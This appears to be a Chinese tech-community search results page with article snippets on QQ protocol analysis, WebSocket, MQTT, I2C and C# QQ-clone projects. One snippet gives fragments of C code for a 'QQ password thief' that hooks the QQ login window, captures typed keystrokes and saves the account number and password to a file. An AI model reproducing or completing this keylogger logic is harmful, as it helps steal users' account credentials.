首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

QQ协议深度解析(一)

介绍 本篇文章主要讲述PC QQ协议的入门和腾讯的迷惑操作 Warning:如果没有一定协议基础看此类文章会觉得很魔幻 注意:PC协议 UDP or TCP QQ协议是分为UDP和TCP的,一般情况下我们以...传统所谓的可靠性传输是基于网络传输协议层面 当然我们可以在应用协议层整点加个包序加个验证的hash或者返回一个包确认 噗 如果你没彻底了解tcp和udp 你可能会问 这种有什么用呢 感觉更麻烦了 实际上...2F 35 //版本号 QQ版本不同。...39 80 8C 2C // QQ号的HEX 转换过来就是 964725804 03 00 00 00 01 01 01 00 00 65 A6 00 00 00 00 //这个是固定的。。...所以要记下来,好方便后面组合 00 00 04 11 00 00 00 01 00 00 12 91 //token2 固定的 12的长度 39 80 8C 2C //这个是QQ号 00 00 00

8.4K42

基于HTTP的QQ协议(转)

大家说到QQ协议都觉得很神秘,是因为QQ不像MSN或者ICQ协议都已经官方公布了,而QQ的没有公布。...,再加上网络 上解析QQ协议的文章也不是十分多,所以基于QQ网络协议的应用程序也是寥寥无几的。...现在我就把基于HT TP的QQ协议进行一个粗浅的剖析,希望对大家有所帮助。源码部分就用我喜欢的DELPHI和现在比较流行的 C#语言对QQ协议的实现进行具体分析。...(编码转换是C#的优越性之一) 3、实现QQ的用户登录。 在QQ通信中用户必需要登录后才可以进行互相发送信息等。...在登录协议中,QQ的密码是用标准的MD5来进行加密,DELPHI的用户只需要下个MD5加密模块就可以了,而 C#自已带有,但是直接用不了,必需进行处理后,才能使其变成标准的MD5,处理代码如下: public

1.5K00
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    c语言qq加密具体思路,悄悄告诉你:C语言如何实现QQ密码大盗

    我准备分为四部分来说明这个整个过程: (1)寻找QQ登陆界面。 (2)安装钩子。 (3)钩子函数的解释。 (4)处理密码。 以下部分全是使用C语言,文章中我假设读者您是会C/SDK编程的。...寻找QQ登陆界面 软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,这样基本上只要用户打开了QQ登陆界面就会被抓住其句柄,看下面代码: #define ID_MYTIMER 555 SetTimer...”的BUTTON按纽 hLogin = FindWindowEx(g_hQQLogin, NULL, “Button”, ” 登录QQ”); //这一句很关键,如果你的QQ登陆窗口上没有” 登录QQ”字样...j]=(TCHAR)pmsg[j*2].wParam ; } psw[j+1]=’\0’; //把QQ号码和QQ密码写入C盘password.txt中 f=CreateFile(“c:\\password.txt...strcat(total,”密码:”); strcat(total,psw); WriteFile(f,&total,sizeof(total),&dw,NULL); CloseHandle(f); } 最后在C

    1.5K20

    WebSocket协议详解与c++&c#实现

    摘要: 随着手机游戏、H5游戏以及微信小游戏的普及,越来越多的客户端-服务器端的通讯采用websocket协议。Websocket协议是全双工的、基于数据帧的、建立在tcp之上的长连接协议。...Websocket既能支持文本格式也可以支持二进制格式,这样无论是js还是c++,都可以适当的选择自己喜欢的数据格式。 ? Websocket可以说完全治好了大家关于长连接使用什么协议的纠结。...再游戏行业,服务器一般都是使用C++专门开发的网络程序,常规的一般都是使用比较传统的二进制协议,现在想用websocket的人越来越多,但是可以用于服务器端的websocket库却很少,要不就是库太重量级依赖了太多不需要的模块要不就是绑定了特定的网络接口实现...逻辑清晰,你可以直接看代码,直接能够理解websocket的协议。 One header file only。全部实现就在一个头文件里,集成不能再容易了。 目前提供C++和c#的实现。...Websocket协议的验证 我们游戏服务器可能使用多种协议,比如同时兼容二进制协议和websocket协议

    1.7K10

    面试官:你会如何设计QQ中的网络协议

    我们可以设计一个实际可行的QQ系统,而不是离题太远。设计细节首先,我们需要实现登录功能,因为这是用户使用QQ的第一步。为了保证账号和密码的安全性,我们选择使用TCP协议和HTTPS协议进行登录。...QQ作为一个聊天工具,消息的传送是非常重要的。为了提高传输效率和实现实时性要求较高的消息传送,我们选择使用UDP协议。UDP协议是一种无连接的传输协议,它能够提供高效的数据传输。...QQ不仅仅是一个聊天工具,还可以用来传输文件。为了提高传输速度和稳定性,我们可以使用P2P技术进行内网传输文件。...总结设计一个QQ需要考虑网络协议的选择。我们选择使用TCP协议和HTTP协议进行登录,使用UDP协议进行消息传送,使用P2P技术进行内网传输文件。...这些选择基于各个协议和技术的优点和适用场景,使得设计的QQ能够更好地满足用户的需求。然而,这只是一个简单的设计方案,实际的QQ设计可能会更加复杂。

    18910

    C#项目实战练习:做自己的QQ

    前言   C#程序设计实战练习项目,做一个类似于QQ的软件,程序参考明日科技出版的《C#项目开发入门实战》第一章:Q友,做自己的QQ。   众所周知,学编程实践大于纯论理学习。...为巩固和练习C#程序设计在编写Winform窗体应用程序方面的开发与应用,着手做了这样一个练习,实战中确实遇到了很多坑,也学到了很多,回顾开发过程,记录心得,写下这篇博客。   ...(虽然是练习,但还是想让软件拥有自己的特色,所以将书中的Q友改成了SunTalk,也更改了部分背景空间颜色位置等属性) 开发技术   查了下,腾讯QQ客户端采用 Microsoft Visual C++...腾讯QQ采用标准的TCP/IP协议为通信协议。腾讯QQ客户端之间的消息传送也采用了UDP模式。   ...用户登录窗体 登录窗体布局设计   本次练习参考腾讯QQ的登录页面,窗体设计本身很复杂,需要设计各种图标,不过可以偷个懒,腾讯QQ的界面改改,作为SunTalk窗体的背景,在背景的基础上添加相应控件。

    7.5K20

    I2C通讯协议

    同时有多于一个主机尝试控制总线 但不破坏报文 仲裁 是一个在有多个主机同时尝试控制总线,但只允许其中一个控制总线并使报文不被破坏的过程 同步 两个或多个器件同步时钟信号的过程 2、硬件结构 每一个I2C总线器件内部的...这就是时钟同步,它解决了I2C总线的速度同步问题。...I2C位传输 数据传输:SCL为高电平时,SDA线若保持稳定,那么SDA上是在传输数据bit; 若SDA发生跳变,则用来表示一个会话的开始或结束(后面讲) 数据改变:SCL为低电平时,SDA线才能改变传输的...I2C开始和结束信号 开始信号:SCL为高电平时,SDA由高电平向低电平跳变,开始传送数据。 结束信号:SCL为高电平时,SDA由低电平向高电平跳变,结束传送数据。 ?  ...另外I2C的通信速率为100Kb,快速为400Kb

    1.4K60

    i2c总线的通信协议(i2c通信协议原理)

    I2C I2C最少只需要两根线,和异步串口类似,但可以支持多个slave设备。...I2C的数据传输速率位于串口和SPI之间,大部分I2C设备支持100KHz和400KHz模式。使用I2C传输数据会有一些额外消耗:每发送8bits数据,就需要额外1bit的元数据(ACK或NACK)。...I2C协议 I2C协议把传输的消息分为两种类型的帧: 一个地址帧 —— 用于master指明消息发往哪个slave; 一个或多个数据帧 —— 由master发往slave的数据(或由slave发往...注:协议要求每次放到SDA上的字节长度必须为8位,并且每个字节后须跟一个ACK位,在下面会讲到。 数据在SCL处于低电平时放到SDA上,并在SCL变为高电平后进行采样。...注:本文是对两篇文档中协议部分的翻译整理,并做了调整和补充,见文末的附录链接。

    1.8K10

    C语言代码封装MQTT协议报文,了解MQTT协议通信过程

    【1】MQTT协议介绍 MQTT是一种轻量级的通信协议,适用于物联网(IoT)和低带宽网络环境。...【2】MQTT协议报文字段介绍 MQTT协议报文由两部分组成:固定报头和可变报头。 固定报头的格式是统一的,其中包括了报文类型和剩余长度两个字段。 可变报头的格式取决于报文类型。...可变报头包括了以下字段: 协议名(Protocol Name):用于标识MQTT协议的名称,固定为字符串"MQTT"; 协议级别(Protocol Level):用于标识所使用的MQTT协议的版本号,一般情况下为...【3】封装MQTT协议 这是一个使用C语言在Linux下建立TCP通信并发送MQTT报文的例子。 根据MQTT报文自己封装协议。...unsigned int length = 0; // 固定报头 data[length++] = MQTT_CONNECT; // 可变报头 data[length++] = 0x0C;

    2.1K20

    I2C通信协议

    简介 I2C通信协议(Inter-Integrated Circuit)是由Philips公司开发的,由于它引脚少,硬件实现简单,可扩展性强,不需要使用USART、CAN等通信协议的外部收发设备,现在被广泛地用于系统内多个集成电路...(I2C)间的通信。...物理层 支持多主机从机,如下图总线上挂载了多个i2c设备,通过指定地址选择操作的设备。 当I2C设备空闲时,会输出高阻态,而当所有设备都空闲,都输出高阻态时,由上拉电阻把总线拉成高电平。...(OD门可实现线与功能) 具有三种传输模式:标准模式传输速率为100kbit/s ,快速模式为 400kbit/s ,高速模式下可达 3.4Mbit/s,但目前大多I2C设备尚不支持高 速模式...连接到相同总线的 IC 数量受到总线的最大电容 400pF 限制 协议层 读数据 写数据

    36320

    QQ隐藏图原理与C#实现(含源文件)

    QQ群聊的背景色为白色,而打开图片后的背景色为黑色,如果能巧妙修改图片各个像素的透明度,就可以达到在不同背景下显示出不同图片的功能。...GetPixel(i,j))); } } } return bitmap; } 图像放缩 想要让两种图片混合,显然它们必须具有相同的宽度和高度,使用C#...备注 上述的算法都是基于理论的,现实中QQ的背景不一定是纯白,所以会导致图片显示异常。...据我所知,目前最新版QQ的默认背景不是纯白,因此直接使用我的源文件可能会出现显示异常,你可以对我的源文件进行修改,使之能够适应最新版QQ背景颜色。...而本程序里显示的最终效果是严格基于理想条件的,所以不保证最终显示在QQ里的效果和程序里的效果相同。

    1.6K10
    领券